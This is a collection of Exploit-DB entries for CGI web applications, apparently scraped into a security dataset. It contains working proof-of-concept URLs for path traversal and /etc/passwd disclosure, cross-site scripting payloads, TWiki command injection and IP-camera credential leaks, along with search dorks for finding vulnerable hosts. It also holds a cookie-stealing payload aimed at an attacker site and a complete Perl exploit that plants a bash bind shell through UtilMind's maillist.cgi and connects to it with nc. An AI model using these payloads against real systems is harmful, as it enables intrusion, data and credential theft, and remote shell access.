deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11823
Description: Trouble Ticket Software - 'ttx.cgi' Arbitrary File Download
Type: webapps
Platform: cgi
Date: 2010-03-20
Author: n01d

Exploit:
# Exploit Title: Trouble Ticket Software 0Day
# Date: 3/12/2010
# Author: n01d
# Software Link: http://www.troubleticketexpress.com
# Version: TTX v3.0.640
# Tested on: <=3.0.640
                 ___   _      _
         _ __   / _ \ / |  __| |
        | '_ \ | | | || | / _` |
        | | | || |_| || || (_| |
        |_| |_| \___/ |_| \__,_|
        Bob  @  http://n01d.com


Type:    Trouble Ticket Software 0Day

Vendor:  Remote File Download

Exploit: http://www.example.com/TTXdir/ ttx.cgi?cmd=file&fid=../users.cgi&fn=users.cgi

Dork:    "Help desk software by United Web Coders rev. 3.0.640"

Shouts:  Pro, resU, Bob, Jester, Crusader, Wozniak
Exploit-DB #464
Description: Turbo Seek - Null Byte Error Discloses Files
Type: webapps
Platform: cgi
Date: 2004-09-13
Author: durito

Exploit:
Some demonstration exploit URLs are provided: 

/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00
/cgi-bin /tseekdir.cgi?id=799&location=/etc/passwd%00


# milw0rm.com [2004-09-13]
Exploit-DB #24122
Description: TurboTrafficTrader C 1.0 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: cgi
Date: 2004-05-17
Author: Kaloyan Olegov Georgiev

Exploit:
source: https://www.securityfocus.com/bid/10359/info

It has been reported that TurboTrafficTrader C does not properly sanitize input received from users. It has been conjectured that this may allow a remote user to launch cross-site scripting and HTML injection attacks.

The cross-site scripting issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

The HTML injection issues could allow an attacker to post malicious HTML and script code that would then later be rendered in the web browser of further visitors to the affected site.

These attacks would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/cgi-bin/ttt-out?link=testing%20%3Cscript%3Ealert('from_browser_insert');%3C/script%3E
http://www.example.com/cgi-bin/ttt-out?link=testing%20<script>alert('from_browser_insert');</script>

export REMOTE_ADDR="127.0.0.1<script>alert('ip_inject');</script>"
./ttt-in will load one bad record for IP
export HTTP_X_FORWARDED_FOR="10.0.0.1<script>alert('proxy insertion');</script>" 
./ttt-in will load an XXSed proxy record

Raw connection example:
telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /cgi-bin/ttt-in HTTP/1.1
X-Forwarded-For: 192.168.0.1<script>alert('proxy_insert');</script>
Host: www.example.com

telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /cgi-bin/ttt-in HTTP/1.1
X-Forwarded-For: 192.168.0.6<script>alert('proxy_insert');</script>
Referer: http://www.referrer.com"<script>alert('referrer_inject');</script>"
Host: www.example.com

When signing up for a new account:
Site name = Name"<script>window.open('http://www.example.com');</script>
Site URL = http://www.example.com"<script>alert('name_inject');</script>
Webmaster e-mail = email@example.com"<script>alert('email_inject');</script>
Webmaster ICQ = 123456"<script>alert('ICQ_inject');</script>
Exploit-DB #6269
Description: TWiki 4.2.0 - 'configure' Remote File Disclosure
Type: webapps
Platform: cgi
Date: 2008-08-19
Author: Th1nk3r

Exploit:
################################################################################################################
#                                                                                                              #
#                                 TWiki 4.2.0 File Disclosure Vuln (configure)                                 #
#                                                                                                              #
################################################################################################################

	"We're brazilian newbies!!! :p" - Th1nk3r

Info
----------------------------------------------------------------------------------------------------------------
Classe    :  Input Validation Error 
Remote    :  Yes
Local     :  No
Date      :  05/08/2008
Credits   :  Th1nk3r  (cnwfhguohrugbo / gmail.com)
Greetz    :  w4n73d h4ck3r, Vitor, Vonnatur, FuradordeSyS, B470-Killer, M4v3rick.

Description
----------------------------------------------------------------------------------------------------------------
	TWiki version 4.2.0 (I haven't tested other versions) is vulnerable to a File Disclosure. It's only possible
to exploit the bug if you can access the "/bin/configure" script.
Otherwise, you can not exploit this bug.
	Vulnerable code of "/bin/configure" script:

	if( $action eq 'image' ) {
    		# SMELL: this call is correct, but causes a perl error
    		# on some versions of CGI.pm
    		# print $query->header(-type => $query->param('type'));
    		# So use this instead:
    		print 'Content-type: '.$query->param('type')."\n\n";
    	if( open(F, 'logos/'.$query->param('image' ))) {
        	local $/ = undef;
        	print <F>;
        	close(F);
    	}
    	exit 0;
}

	The bug is in the open() function. The file is set by visitor, and there is no protection added
by the programmer.
	Note that "$query->param('type')" can be set by the visitor. Therefore, you'll set it to "text/plain".



Exploit
----------------------------------------------------------------------------------------------------------------

	To exploit the bug, you just need set the "image" variable to the path of file you wish to view. 
	The file will be revealed if you have permission to view it.
	
	By example, to show the "/etc/passwd" file content, go to :
	http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain



Solution
----------------------------------------------------------------------------------------------------------------
	Read "http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide", Basic Installation, topic 8, for 
more information of how to protect your "configure" script.

# milw0rm.com [2008-08-19]
Exploit-DB #6509
Description: TWiki 4.2.2 - 'action' Remote Code Execution
Type: webapps
Platform: cgi
Date: 2008-09-21
Author: webDEViL

Exploit:
#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------TWiki Remote Code Execution <= 4.2.2--------------------#

# ----------developers site: http://www.twiki.org-------------------#
# ----------CVE Id(s)      : CVE-2008-3195--------------------------#

# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights

The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.

According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)

Vulnerable code:

if( $action eq 'image' ) {
    # SMELL: this call is correct, but causes a perl error

    # on some versions of CGI.pm
    # print $query->header(-type => $query->param('type'));
    # So use this instead:
    print 'Content-type: '.$query->param('type')."\n\n";

    if( open(F, 'logos/'.$query->param('image' ))) {
        local $/ = undef;
        print <F>;
        close(F);
    }

http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain

http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain

# milw0rm.com [2008-09-21]
Exploit-DB #27081
Description: Ultimate Auction 3.67 - Item.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-01-14
Author: querkopf

Exploit:
source: https://www.securityfocus.com/bid/16239/info

Ultimate Auction is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 3.67 is vulnerable to this issue; prior versions may also be affected. 

http://www.example.com/item.pl?item=<script>alert("XSS")</script>
Exploit-DB #27091
Description: Ultimate Auction 3.67 - ItemList.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-01-16
Author: querkopf

Exploit:
source: https://www.securityfocus.com/bid/16254/info

Ultimate Auction is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 3.67 is vulnerable to this issue; prior versions may also be affected. 

http://www.example.com/cgi-local/auktion/itemlist.pl?category=<script>alert("XSS")</script>
Exploit-DB #21209
Description: Ultimate Bulletin Board 5.4/6.0/6.2 - Cross-Agent Scripting
Type: webapps
Platform: cgi
Date: 2002-01-09
Author: Obscure

Exploit:
source: https://www.securityfocus.com/bid/3829/info

UBB (Ultimate Bulletin Board) is commercial web forums/community software that is written in Perl. It runs on various Unix/Linux variants, as well as Microsoft Windows NT/2000.

UBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running UBB.

This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials. 

The following example will send cookie-based authentication credentials to the attacker's site:

[IMG]javascr&#x69;pt:document.wr&#x69;te
&#x28;'<img%20src=&#x68;tt&#x70;://attackersite/tools/cookie.plx?
cookie='+escape&#x28;document.cook&#x69;e&#x29;+'>'&#x29;
[/IMG]
Exploit-DB #30606
Description: Urchin 5.7.x - 'session.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-09-24
Author: pagvac

Exploit:
source: https://www.securityfocus.com/bid/25788/info

Urchin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://target/session.cgi?"><script>alert('XSS')</script><
Exploit-DB #24836
Description: UseModWiki 1.0 - Wiki.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-12-14
Author: Jeremy Bae

Exploit:
source: https://www.securityfocus.com/bid/11924/info

It is reported that UseModWiki is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input before outputting it in Web Pages.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the Web browser of the victim user. This would occur in the security context of the affected Web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/cgi-bin/wiki.pl?<script>alert('XSSvulnerabilityexists')</script>
Exploit-DB #188
Description: UtilMind Mail List 1.7 - Users Can Execute Commands
Type: webapps
Platform: cgi
Date: 2000-11-17
Author: teleh0r

Exploit:
#!/usr/bin/perl -w

## Mailing List & News Version 1.7 / PoC Exploit.
## UtilMind Solutions / http://www.utilmind.com/
##
## Actually a pretty amusing exploit to write!
##
## The 'open(MAIL, "|$mailprog $address")' ...
## code sends e-mail to those who are on the
## mailing list - and the subscribers' e-mail
## addresses are located in a file called:
## maillist.txt. (could be called anything, really)
##
## So we sign on 'hass@ & echo 'fido stream tcp ..'
## and send out a mail to everyone on the list,
## including to our 'evil' address. Sending mail 
## to the subscribers is supposed to be limited 
## to those who know the password - but it really
## isn't - so we don't have to wait. <grin>
##
## Exploit will attempt to bind a shell at port 
## 60179/fido using inetd.
##
## http://teleh0r.cjb.net/ || teleh0r@doglover.com

use strict; use Socket;

if (@ARGV < 1) {
    print("Usage: $0 <target>\n");
    exit(1);
}

my($target,$agent,$cgicodea,$cgicodeb,$code,
   $iaddr,$paddr,$proto);

$target = $ARGV[0];
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/maillist.cgi\n");

$code =
"POST /cgi-bin/maillist.cgi HTTP/1.0
Connection: Keep-Alive
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: 160

";

$cgicodea =

# Utilmind Solutions Maillist Portbinding Cgicode 
# Yes! it is meant as a joke!
"\x65\x6d\x61\x69\x6c\x3d\x68\x61\x73\x73\x40\x2b\x26".
"\x65\x63\x68\x6f\x2b\x27\x66\x69\x64\x6f\x2b\x73\x74".
"\x72\x65\x61\x6d\x2b\x74\x63\x70\x2b\x6e\x6f\x77\x61".
"\x69\x74\x2b\x6e\x6f\x62\x6f\x64\x79\x2b\x2f\x62\x69".
"\x6e\x2f\x62\x61\x73\x68\x2b\x62\x61\x73\x68\x2b\x2d".
"\x69\x27\x2b\x3e\x2b\x2f\x74\x6d\x70\x2f\x2e\x68\x61".
"\x73\x73\x3b\x2f\x75\x73\x72\x2f\x73\x62\x69\x6e\x2f".
"\x69\x6e\x65\x74\x64\x2b\x2f\x74\x6d\x70\x2f\x2e\x68".
"\x61\x73\x73\x26\x42\x31\x3d\x4f\x4b\x26\x61\x63\x74".
"\x69\x6f\x6e\x3d\x73\x75\x62\x73\x63\x72\x69\x62\x65";

$cgicodeb =
"subject=teleh0rz+cgi+warez&message=hass";

send_code();
print("\nSleeping 5 seconds - waiting for the shell ...\n\n");
sleep(5); system("nc -w 10 $target 60179"); exit(0);

# The sleep time may have to be longer - considering that the
# maillist.cgi script has a few e-mails to send. ;)

sub send_code {
    connect_host();
    send(SOCKET,"$code$cgicodea\015\012", 0)  || die("Error: $!\n");
    close(SOCKET); connect_host();
    send(SOCKET,"$code$cgicodeb\015\012", 0)  || die("Error: $!\n");
    close(SOCKET);
}

sub connect_host {
    $iaddr = inet_aton($target)                   || die("Error: $!\n");
    $paddr = sockaddr_in(80, $iaddr)              || die("Error: $!\n");
    $proto = getprotobyname('tcp')                || die("Error: $!\n");
    
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto)  || die("Error: $!\n");
    connect(SOCKET, $paddr)                       || die("Error: $!\n");
}


# milw0rm.com [2000-11-17]
Exploit-DB #24576
Description: UtilMind Solutions Site News 1.1 - Authentication Bypass
Type: webapps
Platform: cgi
Date: 2004-09-07
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/11126/info

Reportedly UtilMind Solutions Site News is affected by an authentication bypass vulnerability. This issue is due to an access validation error.

An unauthenticated attacker can leverage this issue to display and manipulate arbitrary news items.

http://www.example.com/ sitenews.cgi?update\?oldsubject=OLD_SUBJ&subject=NEW_SUBJ&name=ANY_NAME&issue=ISSUE&message=MESSAGE
Exploit-DB #40263
Description: Vanderbilt IP-Camera CCPW3025-IR / CVMW3025-IR - Credentials Disclosure
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title                   : Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) Remote Credentials Disclosure
Vendor Homepage         : https://is.spiap.com/
Remotely Exploitable	: Yes
Tested on Camera types	: CCPW3025-IR , CVMW3025-IR
Product References      : https://is.spiap.com/products/video/1_cameras/11_ip_camerars/bullet-kameror/v54561-c117-a100.html
+                       : https://uk.spiap.com/products/video/1_cameras/11_ip_camerars/114_vandal_resistent_dome_cameras/cvmw3025-ir.html
Vulnerability           : Username / Password Disclosure (Critical/High)
Shodan Dork             : title:"Vanderbilt IP-Camera"
Date                    : 19/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
========================================
Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0"; 

-----------------------------------------------

Login @ http://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #40281
Description: Vanderbilt IP-Camera CCPW3025-IR / CVMW3025-IR - Local File Disclosure
Type: webapps
Platform: cgi
Date: 2016-08-22
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title                   : Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) Local File Inclusion
Vendor Homepage         : https://is.spiap.com/
Remotely Exploitable	: Yes
Tested on Camera types	: CCPW3025-IR , CVMW3025-IR
Product References      : https://is.spiap.com/products/video/1_cameras/11_ip_camerars/bullet-kameror/v54561-c117-a100.html
+                       : https://uk.spiap.com/products/video/1_cameras/11_ip_camerars/114_vandal_resistent_dome_cameras/cvmw3025-ir.html
Vulnerability           : Local File Inclusion (Critical/High)
Shodan Dork             : title:"Vanderbilt IP-Camera"
Date                    : 20/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)


2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.


3. Description
========================================
Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) allows to unauthenticated user to include files from local server such as /etc/passwd, /etc/shadow or config.ini which contains all credentials and other configurations.


4. Proof-of-Concept:
========================================
For example you can get /etc/passwd
http://host:port/cgi-bin/check.cgi?file=../../../etc/passwd
http://host:port/cgi-bin/chklogin.cgi?file=../../../etc/passwd

Or config.ini file:

http://host:port/cgi-bin/check.cgi?file=config.ini
http://host:port/cgi-bin/chklogin.cgi?file=config.ini




5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #31071
Description: VB Marketing - 'tseekdir.cgi' Local File Inclusion
Type: webapps
Platform: cgi
Date: 2008-01-28
Author: Sw33t h4cK3r

Exploit:
source: https://www.securityfocus.com/bid/27475/info

VB Marketing is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. 

http://www.example.com/cgi-bin/tseekdir.cgi?location=/etc/passwd%00
Exploit-DB #27451
Description: Verisign MPKI 6.0 - 'Haydn.exe' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-03-20
Author: Alberto Soli

Exploit:
source: https://www.securityfocus.com/bid/17170/info

MPKI 6.0 is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to spoof the results of certificate-validation operations in the browser of an unsuspecting user with the same certificate trust level as that of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

https://www.example.com/cgi-bin/haydn.exe?VHTML_FILE=test<body>

onload=javascript:alert('fixme!')>file_name</body>.htm
Exploit-DB #21473
Description: ViewCVS 0.9.2 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-05-24
Author: office

Exploit:
source: https://www.securityfocus.com/bid/4818/info

ViewCVS does not filter HTML tags from certain URL parameters, making it prone to cross-site scripting attacks.

An attacker may exploit this by constructing a malicious link with script code to a site running ViewCVS and sending it to a legitimate user of the site. When the legitimate user follows the link, the attacker's script code is executed in their web client in the security context of the website running ViewCVS. 

http://target/cgi-bin/viewcvs.cgi/viewcvs/?cvsroot=<script>alert("hello")</script>

http://target/cgi-bin/viewcvs.cgi/viewcvs/viewcvs/?sortby=rev"><script>alert("hello")</script>
Exploit-DB #27680
Description: Visale 1.0 - 'pblscg.cgi?catsubno' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17598/info
 
Visale is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/pblscg.cgi?catsubno=[XSS]
Exploit-DB #27681
Description: Visale 1.0 - 'pblsmb.cgi?listno' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17598/info
  
Visale is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/pblsmb.cgi?cklv=0&listno=[XSS]
Exploit-DB #27679
Description: Visale 1.0 - 'pbpgst.cgi?keyval' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17598/info

Visale is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/pbpgst.cgi?keyval=[XSS]